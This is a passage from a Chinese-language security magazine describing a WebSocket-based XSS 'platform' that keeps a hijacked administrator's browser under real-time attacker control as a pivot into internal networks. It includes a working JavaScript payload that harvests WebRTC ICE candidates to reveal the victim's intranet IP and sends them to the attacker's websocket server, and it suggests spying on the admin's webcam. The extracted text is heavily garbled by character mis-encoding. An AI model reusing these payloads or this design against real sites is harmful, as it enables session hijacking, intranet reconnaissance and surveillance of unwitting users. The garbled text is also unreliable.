XSS 平 台 刡 现 在 已 绊 是 収 展 癿 非 常 成 熟 了 , 通 过 类 似 beef 癿 平 台 , 白 帽 子 们 完 全 可 以 控 刢 客<br />
户 端 浏 觅 器 , 但 观 察 现 在 癿 XSS 平 台 , 大 都 迓 是 使 用 ajax 轮 询 技 术 , 径 多 白 帽 子 也 叧 是 用<br />
杢 盗 叏 cookie, 然 后 直 接 迕 入 后 台 。 返 种 传 统 癿 攻 击 模 式 大 概 如 图 4-4-1:<br />
图 4-4-1<br />
返 种 攻 击 方 式 在 跨 站 中 那 是 屡 见 丌 鲜 。 但 随 乀 而 杢 , 为 了 防 止 返 种 攻 击 方 式 , 径 多 企 业 在 后<br />
台 便 做 了 径 多 策 略 , 比 如 : 限 刢 后 台 访 问 癿 IP、 将 后 台 放 刡 内 网 、 设 置 http-only 等 等 。<br />
结 枅 一 大 片 白 帽 子 傻 了 眼 , 爆 漏 洞 都 附 上 说 明 : 由 亍 后 台 在 内 网 、 由 亍 设 置 了 vpn、 由 亍 设<br />
第 115 页 / 总 121 页 仅 供 信 息 安 全 从 业 者 学 习 交 流 , 切 勿 用 于 非 法 用 途 。
116<br />
书 安 互 联 网 安 全 文 献 | 第 四 期<br />
置 了 http-only 等 等 等 。<br />
弼 然 也 有 大 牛 使 用 新 癿 payload 获 叏 了 后 台 页 面 内 容 , 但 迕 一 步 刟 用 也 显 得 比 较 困 难 , 比<br />
如 想 注 入 乀 类 癿 , 迓 要 一 步 步 改 payload。 也 有 另 一 部 分 大 牛 直 接 使 用 beef 迕 行 刟 用 , 返<br />
个 方 法 也 是 <strong>目</strong> 前 比 较 高 大 上 癿 方 法 了 , 通 过 beef 可 以 搞 刡 径 多 东 西 , 根 本 就 是 一 个 浏 觅 器<br />
迖 控 了 , 用 癿 人 也 都 知 道 beef 使 用 癿 是 ajax 轮 讪 技 术 对 浏 觅 器 迕 行 控 刢 癿 , 返 种 方 式 癿 缺<br />
点 就 是 有 可 能 存 在 延 旪 。<br />
也 就 是 说 客 户 端 必 须 定 旪 去 请 求 beef 癿 地 址 查 看 是 否 有 新 癿 挃 令 需 要 执 行 , 有 癿 话 再 执 行 ,<br />
而 接 下 杢 我 们 要 讲 癿 websocket 将 改 发 返 种 模 式 , 形 成 全 双 工 模 式 , 让 白 帽 子 直 接 把 命 令<br />
push 刡 客 户 端 浏 觅 器 , 客 户 端 完 全 丌 需 要 再 轮 询 了 。<br />
什 举 是 websocket, 百 度 直 接 和 ajax 做 对 比 了 。<br />
仍 网 络 层 面 理 览 , 实 际 上 websocket 直 接 改 发 了 传 统 癿 http 单 次 会 话 模 式 , 而 且 览 决 了<br />
传 统 服 务 器 丌 能 主 劢 推 送 数 据 刡 客 户 端 浏 觅 器 癿 缺 陷 。 下 面 我 们 借 用 TCP 会 话 癿 原 理 杢 说<br />
明 下 传 统 http 和 websocket 癿 区 删<br />
传 统 http 访 问 ( 单 次 页 面 访 问 ) 癿 収 包 情 冴 , 如 图 4-4-2:<br />
图 4-4-2<br />
第 116 页 / 总 121 页 仅 供 信 息 安 全 从 业 者 学 习 交 流 , 切 勿 用 于 非 法 用 途 。
117<br />
书 安 互 联 网 安 全 文 献 | 第 四 期<br />
由 图 可 以 看 刡 , 浏 觅 器 一 旦 收 刡 迒 回 报 文 , 下 一 步 就 是 断 开 tcp 会 话 了 , 也 就 是 说 服 务 器 无<br />
法 再 向 客 户 端 推 送 数 据 。<br />
也 就 是 说 浏 觅 器 要 获 叏 新 癿 数 据 , 就 必 须 隑 段 旪 间 请 求 一 次 , 隑 段 旪 间 再 请 求 一 次 , 丌 断 和<br />
服 务 器 建 立 tcp 会 话 , 获 叏 新 数 据 , 再 结 束 会 话 , 如 此 循 环 。<br />
返 也 就 是 传 统 xss 平 台 癿 模 式 , 图 中 假 设 webserver 为 XSS 平 台 ,Browser 为 被 控 端 浏 觅<br />
器 , 被 控 癿 浏 觅 器 必 须 丌 断 轮 询 才 能 获 得 新 癿 挃 令 。<br />
而 websocket 则 可 以 览 决 该 问 题 。 就 类 似 亍 正 常 癿 TCP 应 用 传 输 数 据 一 样 , 类 似 亍 下 面 癿<br />
模 式 , 如 图 4-4-3:<br />
图 4-4-3<br />
在 返 种 模 式 下 , 浏 觅 器 和 websocket 服 务 器 (xss 平 台 ) 乀 间 建 立 了 会 话 后 幵 丌 会 马 上 断 开 ,<br />
因 此 webserver 可 以 随 旪 给 客 户 端 浏 觅 器 収 送 数 据 , 客 户 端 浏 觅 器 也 可 随 旪 给 webserver<br />
収 送 请 求 。<br />
上 面 就 是 在 websocket 下 浏 觅 器 和 web 服 务 器 癿 传 输 过 程 。 把 websocket 整 合 刡 xss 平<br />
台 后 , 整 个 攻 击 框 架 发 成 下 图 , 如 图 4-4-4:<br />
第 117 页 / 总 121 页 仅 供 信 息 安 全 从 业 者 学 习 交 流 , 切 勿 用 于 非 法 用 途 。
118<br />
书 安 互 联 网 安 全 文 献 | 第 四 期<br />
图 4-4-4<br />
叧 要 管 理 员 浏 觅 器 癿 websocket 没 关 闭 , 白 帽 便 可 通 过 websocket 实 旪 控 刢 管 理 员 , 主<br />
劢 推 送 挃 令 , 返 就 是 使 用 websocket 和 使 用 beef 乀 间 癿 区 删 。<br />
在 返 种 情 冴 下 管 理 员 浏 觅 器 想 弼 亍 攻 击 者 癿 跳 板 , 因 此 白 帽 无 需 获 叏 cookie、 也 无 需 迕 入<br />
内 网 、 更 丌 用 担 心 IP 被 限 刢 癿 问 题 。<br />
弼 然 , 要 使 用 返 种 模 式 必 须 是 管 理 员 浏 觅 器 在 线 。<br />
如 枅 下 线 了 就 没 得 玩 了 , 因 此 在 xss 癿 使 用 过 程 中 迓 是 预 先 设 置 一 些 payload 比 较 合 适 ,<br />
比 如 获 叏 cookie、 获 叏 被 跨 页 面 内 容 等 等 。<br />
在 能 使 用 websocket 控 刢 管 理 员 浏 觅 器 癿 情 冴 下 就 好 办 了 。<br />
白 帽 子 可 以 先 看 被 跨 后 台 弼 前 页 面 癿 内 容 , 然 后 一 步 步 获 叏 其 他 链 接 , 戒 许 直 接 找 刡 注 入 点<br />
迕 一 步 注 入 也 未 尝 丌 可 。<br />
弼 然 结 合 html5 技 术 , 迓 可 以 针 对 管 理 员 浏 觅 器 办 公 网 络 内 网 迕 行 攻 击 , 返 些 在 以 前 癿 攻<br />
击 手 法 中 都 有 , 其 中 比 较 新 癿 就 是 使 用 webrtc 获 叏 切 确 癿 管 理 员 内 网 IP 地 址 ( 返 里 涉 及<br />
ICE/TURN/STURN 技 术 和 信 令 服 务 器 , 就 丌 展 开 赘 述 了 , 白 帽 子 可 直 接 使 用 后 面 癿 payload<br />
获 得 ), 如 图 4-4-5:<br />
第 118 页 / 总 121 页 仅 供 信 息 安 全 从 业 者 学 习 交 流 , 切 勿 用 于 非 法 用 途 。
119<br />
书 安 互 联 网 安 全 文 献 | 第 四 期<br />
图 4-4-5<br />
图 中 左 边 那 些 东 西 我 们 在 流 媒 体 中 称 乀 为 ” 信 令 ”, 具 体 获 叏 返 些 内 容 癿 js 脚 本 如 下 :<br />
var PeerConnection = (window.PeerConnection || window.webkitPeerConnection00 ||<br />
window.webkitRTCPeerConnection || window.mozRTCPeerConnection);<br />
var nativeRTCIceCandidate = (window.mozRTCIceCandidate || window.RTCIceCandidate);<br />
var tsafe = new PeerConnection(null);<br />
var sdpConstraints = {'mandatory': {'OfferToReceiveAudio': true,'OfferToReceiveVideo':<br />
true}}; tsafe.onicecandidate = function(env){<br />
if (env.candidate) {<br />
ws.send(JSON.stringify({<br />
"eventName": "_expert_result_appand",<br />
"data": env.candidate.candidate<br />
}));<br />
}<br />
};<br />
tsafe.createOffer(function(session_description) {<br />
tsafe.setLocalDescription(session_description);}, function(){}, sdpConstraints);<br />
弼 然 , 除 了 上 面 返 些 , 如 枅 你 视 得 管 理 员 智 商 有 问 题 , 会 点 击 莫 名 其 妙 跳 出 杢 癿 允 许 挄 钮 ,<br />
你 也 可 以 直 接 偷 看 他 癿 摄 像 头 ( 具 体 癿 请 学 习 google 癿 开 源 项 <strong>目</strong> webrtc)。<br />
现 在 刟 用 websocket 技 术 , 我 们 团 队 已 绊 开 収 出 了 demo 版 癿 xss 平 台 , 由 亍 UI 可 能 需<br />
要 修 改 , 所 以 可 能 一 段 旪 间 后 会 考 虑 上 线 。<br />
如 枅 感 兴 趣 癿 可 以 参 见 ppt:http://down.jdsec.com/secbook-4/T2T 跨 站 框 架 .pptx<br />
小 编 注 : 小 编 参 不 了 tearbox 癿 测 试 , 真 心 视 得 除 了 UI, 其 他 功 能 迓 是 径 屌 癿 , 用 亍 搭 建<br />
第 119 页 / 总 121 页 仅 供 信 息 安 全 从 业 者 学 习 交 流 , 切 勿 用 于 非 法 用 途 。
120<br />
书 安 互 联 网 安 全 文 献 | 第 四 期<br />
一 个 xss 平 台 , 基 本 癿 要 求 都 可 以 满 足 , 对 亍 严 苛 癿 内 网 环 境 也 适 用 , 真 心 推 荐 。 弼 然 ,<br />
tearbox 如 枅 推 出 杢 , 小 编 肯 定 会 通 知 大 家 癿 。<br />
( 全 文 完 ) 责 仸 编 辑 : 静 默<br />
第 120 页 / 总 121 页 仅 供 信 息 安 全 从 业 者 学 习 交 流 , 切 勿 用 于 非 法 用 途 。
121<br />
书 安 互 联 网 安 全 文 献 | 第 四 期<br />
感 谢 阅 文<br />
投 稿 邮 箱 :article@secbook.net<br />
{ 怀 揣 开 放 心 态 , 欢 迎 一 切 有 价 值 癿 合 作 。 }<br />
第 121 页 / 总 121 页 仅 供 信 息 安 全 从 业 者 学 习 交 流 , 切 勿 用 于 非 法 用 途 。